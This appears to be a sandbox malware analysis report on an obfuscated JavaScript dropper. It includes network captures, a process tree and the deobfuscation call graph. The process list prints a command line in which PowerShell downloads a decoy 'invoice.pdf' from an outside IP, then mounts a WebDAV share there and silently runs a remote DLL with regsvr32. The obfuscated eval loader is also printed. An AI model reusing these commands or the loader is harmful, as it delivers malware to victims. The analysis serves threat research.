Jan 14, 2025 11:54:59.454217911 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 10:54:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 14, 2025 11:54:59.454231024 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 14, 2025 11:54:59.454242945 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 14, 2025 11:54:59.454307079 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 14, 2025 11:54:59.454319000 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 14, 2025 11:54:59.454329014 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 14, 2025 11:54:59.454381943 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 14, 2025 11:54:59.454396009 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 14, 2025 11:54:59.454406977 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 14, 2025 11:54:59.454487085 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o
Jan 14, 2025 11:54:59.459887028 CET	100	IN	Data Raw: c7 86 7e e4 d8 d0 4d 9b fa e6 04 00 00 30 0d be 58 02 80 8d 32 b7 d3 d1 1d b9 7a 2c 74 74 15 ad 39 5c d2 1c f3 57 ce 16 b9 e1 50 dd 43 c3 18 5a 73 6d 7e 32 34 8c a1 ff 35 24 3d 74 f6 cb 64 38 34 ad 0f 9d fd a1 52 1e d2 7f 9c 54 21 53 21 d2 f4 51 Data Ascii: ~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49739	193.143.1.205	8888	8072	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 11:55:01.116720915 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 14, 2025 11:55:01.895968914 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 10:55:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	05:54:54
Start date:	14/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js"
Imagebase:	0x7ff621320000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:54:55
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll
Imagebase:	0x7ff6bae30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:54:55
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:54:55
Start date:	14/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:54:59
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	05:54:59
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6bae30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:54:59
Start date:	14/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff764770000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:55:00
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:55:00
Start date:	14/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:55:00
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1692,i,797162410521209075,1160637675029131168,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hlpigjzg() {	hlpigjzg() ➔ undefined
1	this[gevpvmxd + qnjuwkp + bwfnh + gomup] ( "npqyb=[1031,3079,5127,4103,2055,3072];var ntecpdebf=this[jobqaxld+bwfnh+zybgaum+oncyskvm+gevpvmxd+ujkjlx+gzotjli+eoylmcqkf](this[olpwwyxg+autjyn+hpwshba+zybgaum+timkpkwaf+jobqaxld+eoylmcqkf][cowgkyid+zybgaum+gevpvmxd+bwfnh+eoylmcqkf+gevpvmxd+lonaqsin+gploat+rzunwzkiy+gevpvmxd+hpwshba+eoylmcqkf](olpwwyxg+autjyn+hpwshba+zybgaum+timkpkwaf+jobqaxld+eoylmcqkf+mdibggqf+autjyn+jyzdlchas+gevpvmxd+gomup+gomup)[jbqmqco+gevpvmxd+srymr+jbqmqco+gevpvmxd+bwfnh+emwvmdvbi](kcwnettce+dalkn+dyful+sctfvh+sdxjasjgg+cowgkyid+yafyp+jbqmqco+jbqmqco+dyful+ngqkvl+sckuqdhbh+sdxjasjgg+yafyp+autjyn+dyful+jbqmqco+sqgqhwy+cowgkyid+hvkrpjwp+gzotjli+eoylmcqkf+zybgaum+hvkrpjwp+gomup+htiplh+ljkug+bwfnh+gzotjli+gevpvmxd+gomup+sqgqhwy+ujkjlx+gzotjli+eoylmcqkf+gevpvmxd+zybgaum+gzotjli+bwfnh+eoylmcqkf+timkpkwaf+hvkrpjwp+gzotjli+bwfnh+gomup+sqgqhwy+lgqhyxg+hvkrpjwp+hpwshba+bwfnh+gomup+gevpvmxd),16);for(ghwbqawic=0;ghwbqawic<npqyb[gomup+gevpvmxd+gzotjli+srymr+eoylmcqkf+jyzdlchas];++ghwbqawic){if(ntecpdebf==npqyb[ghwbqawic]){ntecpdebf=true;break;}}if(ntecpdebf!==true)this[olpwwyxg+autjyn+hpwshba+zybgaum+timkpkwaf+jobqaxld+eoylmcqkf][zqxkuu+rnsjh+timkpkwaf+eoylmcqkf]();this[olpwwyxg+autjyn+hpwshba+zybgaum+timkpkwaf+jobqaxld+eoylmcqkf][cowgkyid+zybgaum+gevpvmxd+bwfnh+eoylmcqkf+gevpvmxd+lonaqsin+gploat+rzunwzkiy+gevpvmxd+hpwshba+eoylmcqkf](olpwwyxg+autjyn+hpwshba+zybgaum+timkpkwaf+jobqaxld+eoylmcqkf+mdibggqf+autjyn+jyzdlchas+gevpvmxd+gomup+gomup)[zybgaum+rnsjh+gzotjli](hpwshba+etuizfsmv+emwvmdvbi+htiplh+lubrahv+hpwshba+htiplh+jobqaxld+hvkrpjwp+fntjtsvvi+gevpvmxd+zybgaum+oncyskvm+jyzdlchas+gevpvmxd+gomup+gomup+mdibggqf+gevpvmxd+ccxru+gevpvmxd+htiplh+rnwmcuni+cowgkyid+hvkrpjwp+etuizfsmv+etuizfsmv+bwfnh+gzotjli+emwvmdvbi+htiplh+yeilg+ujkjlx+gzotjli+qnjuwkp+hvkrpjwp+lgprihwgy+gevpvmxd+rnwmcuni+olpwwyxg+gevpvmxd+gploat+jbqmqco+gevpvmxd+mscqba+rnsjh+gevpvmxd+oncyskvm+eoylmcqkf+htiplh+rnwmcuni+lonaqsin+rnsjh+eoylmcqkf+jfyjsp+timkpkwaf+gomup+gevpvmxd+htiplh+zradfrzs+eoylmcqkf+gevpvmxd+etuizfsmv+jobqaxld+zradfrzs+sqgqhwy+timkpkwaf+gzotjli+qnjuwkp+hvkrpjwp+timkpkwaf+hpwshba+gevpvmxd+mdibggqf+jobqaxld+emwvmdvbi+vnipiyp+htiplh+jyzdlchas+eoylmcqkf+eoylmcqkf+jobqaxld+rrqgmc+lubrahv+lubrahv+hmbcjpm+iamednrra+rxynfrn+mdibggqf+hmbcjpm+slbihthmf+rxynfrn+mdibggqf+hmbcjpm+mdibggqf+mzgih+nnmjsurl+olwpp+lubrahv+timkpkwaf+gzotjli+qnjuwkp+hvkrpjwp+timkpkwaf+hpwshba+gevpvmxd+mdibggqf+jobqaxld+jyzdlchas+jobqaxld+yeilg+askomgs+askomgs+oncyskvm+eoylmcqkf+bwfnh+zybgaum+eoylmcqkf+htiplh+zradfrzs+eoylmcqkf+gevpvmxd+etuizfsmv+jobqaxld+zradfrzs+sqgqhwy+timkpkwaf+gzotjli+qnjuwkp+hvkrpjwp+timkpkwaf+hpwshba+gevpvmxd+mdibggqf+jobqaxld+emwvmdvbi+vnipiyp+askomgs+askomgs+hpwshba+etuizfsmv+emwvmdvbi+htiplh+lubrahv+hpwshba+htiplh+gzotjli+gevpvmxd+eoylmcqkf+htiplh+rnsjh+oncyskvm+gevpvmxd+htiplh+sqgqhwy+sqgqhwy+hmbcjpm+iamednrra+rxynfrn+mdibggqf+hmbcjpm+slbihthmf+rxynfrn+mdibggqf+hmbcjpm+mdibggqf+mzgih+nnmjsurl+olwpp+qnsaqqhre+wqmzxze+wqmzxze+wqmzxze+wqmzxze+sqgqhwy+emwvmdvbi+bwfnh+qnjuwkp+fntjtsvvi+fntjtsvvi+fntjtsvvi+zybgaum+hvkrpjwp+hvkrpjwp+eoylmcqkf+sqgqhwy+askomgs+askomgs+hpwshba+etuizfsmv+emwvmdvbi+htiplh+lubrahv+hpwshba+htiplh+zybgaum+gevpvmxd+srymr+oncyskvm+qnjuwkp+zybgaum+rxynfrn+mzgih+htiplh+lubrahv+oncyskvm+htiplh+sqgqhwy+sqgqhwy+hmbcjpm+iamednrra+rxynfrn+mdibggqf+hmbcjpm+slbihthmf+rxynfrn+mdibggqf+hmbcjpm+mdibggqf+mzgih+nnmjsurl+olwpp+qnsaqqhre+wqmzxze+wqmzxze+wqmzxze+wqmzxze+sqgqhwy+emwvmdvbi+bwfnh+qnjuwkp+fntjtsvvi+fntjtsvvi+fntjtsvvi+zybgaum+hvkrpjwp+hvkrpjwp+eoylmcqkf+sqgqhwy+mzgih+slbihthmf+nnmjsurl+jwmlzuvra+olwpp+jwmlzuvra+tqktjep+jwmlzuvra+mzgih+mzgih+olwpp+wqmzxze+slbihthmf+tqktjep+mdibggqf+emwvmdvbi+gomup+gomup,0,false);" );	eval("npqyb=[1031,3079,5127,4103,2055,3072];var ntecpdebf=this[jobqaxld+bwfnh+zybgaum+oncyskvm+gevpvmxd+ujkjlx+gzotjli+eoylmcqkf](this[olpwwyxg+autjyn+hpwshba+zybgaum+timkpkwaf+jobqaxld+eoylmcqkf][cowgkyid+zybgaum+gevpvmxd+bwfnh+eoylmcqkf+gevpvmxd+lonaqsin+gploat+rzunwzkiy+gevpvmxd+hpwshba+eoylmcqkf](olpwwyxg+autjyn+hpwshba+zybgaum+timkpkwaf+jobqaxld+eoylmcqkf+mdibggqf+autjyn+jyzdlchas+gevpvmxd+gomup+gomup)[jbqmqco+gevpvmxd+srymr+jbqmqco+gevpvmxd+bwfnh+emwvmdvbi](kcwnettce+dalkn+dyful+sctfvh+sdxjasjgg+cowgkyid+yafyp+jbqmqco+jbqmqco+dyful+ngqkvl+sckuqdhbh+sdxjasjgg+yafyp+autjyn+dyful+jbqmqco+sqgqhwy+cowgkyid+hvkrpjwp+gzotjli+eoylmcqkf+zybgaum+hvkrpjwp+gomup+htiplh+ljkug+bwfnh+gzotjli+gevpvmxd+gomup+sqgqhwy+ujkjlx+gzotjli+eoylmcqkf+gevpvmxd+zybgaum+gzotjli+bwfnh+eoylmcqkf+timkpkwaf+hvkrpjwp+gzotjli+bwfnh+gomup+sqgqhwy+lgqhyxg+hvkrpjwp+hpwshba+bwfnh+gomup+gevpvmxd),16);for(ghwbqawic=0;ghwbqawic<npqyb[gomup+gevpvmxd+gzotjli+srymr+eoylmcqkf+jyzdlchas];++ghwbqawic){if(ntecpdebf==npqyb[ghwbqawic]){ntecpdebf=true;break;}}if(ntecpdebf!==true)this[olpwwyxg+autjyn+hpwshba+zybgaum+timkpkwaf+jobqaxld+eoylmcqkf][zqxkuu+rnsjh+timkpkwaf+eoylmcqkf]();this[olpwwyxg+autjyn+hpwshba+zybgaum+timkpkwaf+jobqaxld+eoylmcqkf][cowgkyid+zybgaum+gevpvmxd+bwfnh+eoylmcqkf+gevpvmxd+lonaqsin+gploat+rzunwzkiy+gevpvmxd+hpwshba+eoylmcqkf](olpwwyxg+autjyn+hpwshba+zybgaum+timkpkwaf+jobqaxld+eoylmcqkf+mdibggqf+autjyn+jyzdlchas+gevpvmxd+gomup+gomup)[zybgaum+rnsjh+gzotjli](hpwshba+etuizfsmv+emwvmdvbi+htiplh+lubrahv+hpwshba+htiplh+jobqaxld+hvkrpjwp+fntjtsvvi+gevpvmxd+zybgaum+oncyskvm+jyzdlchas+gevpvmxd+gomup+gomup+mdibggqf+gevpvmxd+ccxru+gevpvmxd+htiplh+rnwmcuni+cowgkyid+hvkrpjwp+etuizfsmv+etuizfsmv+bwfnh+gzotjli+emwvmdvbi+htiplh+yeilg+ujkjlx+gzotjli+qnjuwkp+hvkrpjwp+lgprihwgy+gevpvmxd+rnwmcuni+olpwwyxg+gevpvmxd+gploat+jbqmqco+gevpvmxd+mscqba+rnsjh+gevpvmxd+oncyskvm+eoylmcqkf+htiplh+rnwmcuni+lonaqsin+rnsjh+eoylmcqkf+jfyjsp+timkpkwaf+gomup+gevpvmxd+htiplh+zradfrzs+eoylmcqkf+gevpvmxd+etuizfsmv+jobqaxld+zradfrzs+sqgqhwy+timkpkwaf+gzotjli+qnjuwkp+hvkrpjwp+timkpkwaf+hpwshba+gevpvmxd+mdibggqf+jobqaxld+emwvmdvbi+vnipiyp+htiplh+jyzdlchas+eoylmcqkf+eoylmcqkf+jobqaxld+rrqgmc+lubrahv+lubrahv+hmbcjpm+iamednrra+rxynfrn+mdibggqf+hmbcjpm+slbihthmf+rxynfrn+mdibggqf+hmbcjpm+mdibggqf+mzgih+nnmjsurl+olwpp+lubrahv+timkpkwaf+gzotjli+qnjuwkp+hvkrpjwp+timkpkwaf+hpwshba+gevpvmxd+mdibggqf+jobqaxld+jyzdlchas+jobqaxld+yeilg+askomgs+askomgs+oncyskvm+eoylmcqkf+bwfnh+zybgaum+eoylmcqkf+htiplh+zradfrzs+eoylmcqkf+gevpvmxd+etuizfsmv+jobqaxld+zradfrzs+sqgqhwy+timkpkwaf+gzotjli+qnjuwkp+hvkrpjwp+timkpkwaf+hpwshba+gevpvmxd+mdibggqf+jobqaxld+emwvmdvbi+vnipiyp+askomgs+askomgs+hpwshba+etuizfsmv+emwvmdvbi+htiplh+lubrahv+hpwshba+htiplh+gzotjli+gevpvmxd+eoylmcqkf+htiplh+rnsjh+oncyskvm+gevpvmxd+htiplh+sqgqhwy+sqgqhwy+hmbcjpm+iamednrra+rxynfrn+mdibggqf+hmbcjpm+slbihthmf+rxynfrn+mdibggqf+hmbcjpm+mdibggqf+mzgih+nnmjsurl+olwpp+qnsaqqhre+wqmzxze+wqmzxze+wqmzxze+wqmzxze+sqgqhwy+emwvmdvbi+bwfnh+qnjuwkp+fntjtsvvi+fntjtsvvi+fntjtsvvi+zybgaum+hvkrpjwp+hvkrpjwp+eoylmcqkf+sqgqhwy+askomgs+askomgs+hpwshba+etuizfsmv+emwvmdvbi+htiplh+lubrahv+hpwshba+htiplh+zybgaum+gevpvmxd+srymr+oncyskvm+qnjuwkp+zybgaum+rxynfrn+mzgih+htiplh+lubrahv+oncyskvm+htiplh+sqgqhwy+sqgqhwy+hmbcjpm+iamednrra+rxynfrn+mdibggqf+hmbcjpm+slbihthmf+rxynfrn+mdibggqf+hmbcjpm+mdibggqf+mzgih+nnmjsurl+olwpp+qnsaqqhre+wqmzxze+wqmzxze+wqmzxze+wqmzxze+sqgqhwy+emwvmdvbi+bwfnh+qnjuwkp+fntjtsvvi+fntjtsvvi+fntjtsvvi+zybgaum+hvkrpjwp+hvkrpjwp+eoylmcqkf+sqgqhwy+mzgih+slbihthmf+nnmjsurl+jwmlzuvra+olwpp+jwmlzuvra+tqktjep+jwmlzuvra+mzgih+mzgih+olwpp+wqmzxze+slbihthmf+tqktjep+mdibggqf+emwvmdvbi+gomup+gomup,0,false);") ➔ 0
2	}
3	mdibggqf = "X";
4	mdibggqf = "e";
5	mdibggqf = "j";
6	mdibggqf = "O";
7	mdibggqf = "K";
8	mdibggqf = ".";
9	hvkrpjwp = "Z";
10	hvkrpjwp = "o";
11	hvkrpjwp = "G";
12	hvkrpjwp = "s";
13	hvkrpjwp = "k";
14	hvkrpjwp = "o";
15	vnipiyp = "T";
16	vnipiyp = "F";
17	vnipiyp = "W";
18	vnipiyp = "x";
19	vnipiyp = "j";
20	vnipiyp = "P";
21	vnipiyp = "a";
22	vnipiyp = "f";
23	ccxru = "y";
24	ccxru = "F";
25	ccxru = "Q";
26	ccxru = "U";
27	ccxru = "S";
28	ccxru = "B";
29	ccxru = "P";
30	ccxru = "x";
31	sqgqhwy = "i";
32	sqgqhwy = "u";
33	sqgqhwy = "l";
34	sqgqhwy = "C";
35	sqgqhwy = "m";
36	sqgqhwy = "F";
37	sqgqhwy = "H";
38	sqgqhwy = "m";
39	sqgqhwy = "\\";
40	lonaqsin = "I";
41	lonaqsin = "D";
42	lonaqsin = "m";
43	lonaqsin = "W";
44	lonaqsin = "e";
45	lonaqsin = "A";
46	lonaqsin = "B";
47	lonaqsin = "Y";
48	lonaqsin = "O";
49	oncyskvm = "Z";
50	oncyskvm = "b";
51	oncyskvm = "S";
52	oncyskvm = "A";
53	oncyskvm = "A";
54	oncyskvm = "v";
55	oncyskvm = "J";
56	oncyskvm = "M";
57	oncyskvm = "s";
58	iamednrra = "c";
59	iamednrra = "Q";
60	iamednrra = "J";
61	iamednrra = "G";
62	iamednrra = "J";
63	iamednrra = "D";
64	iamednrra = "9";
65	rnwmcuni = "w";
66	rnwmcuni = "x";
67	rnwmcuni = "g";
68	rnwmcuni = "y";
69	rnwmcuni = "E";
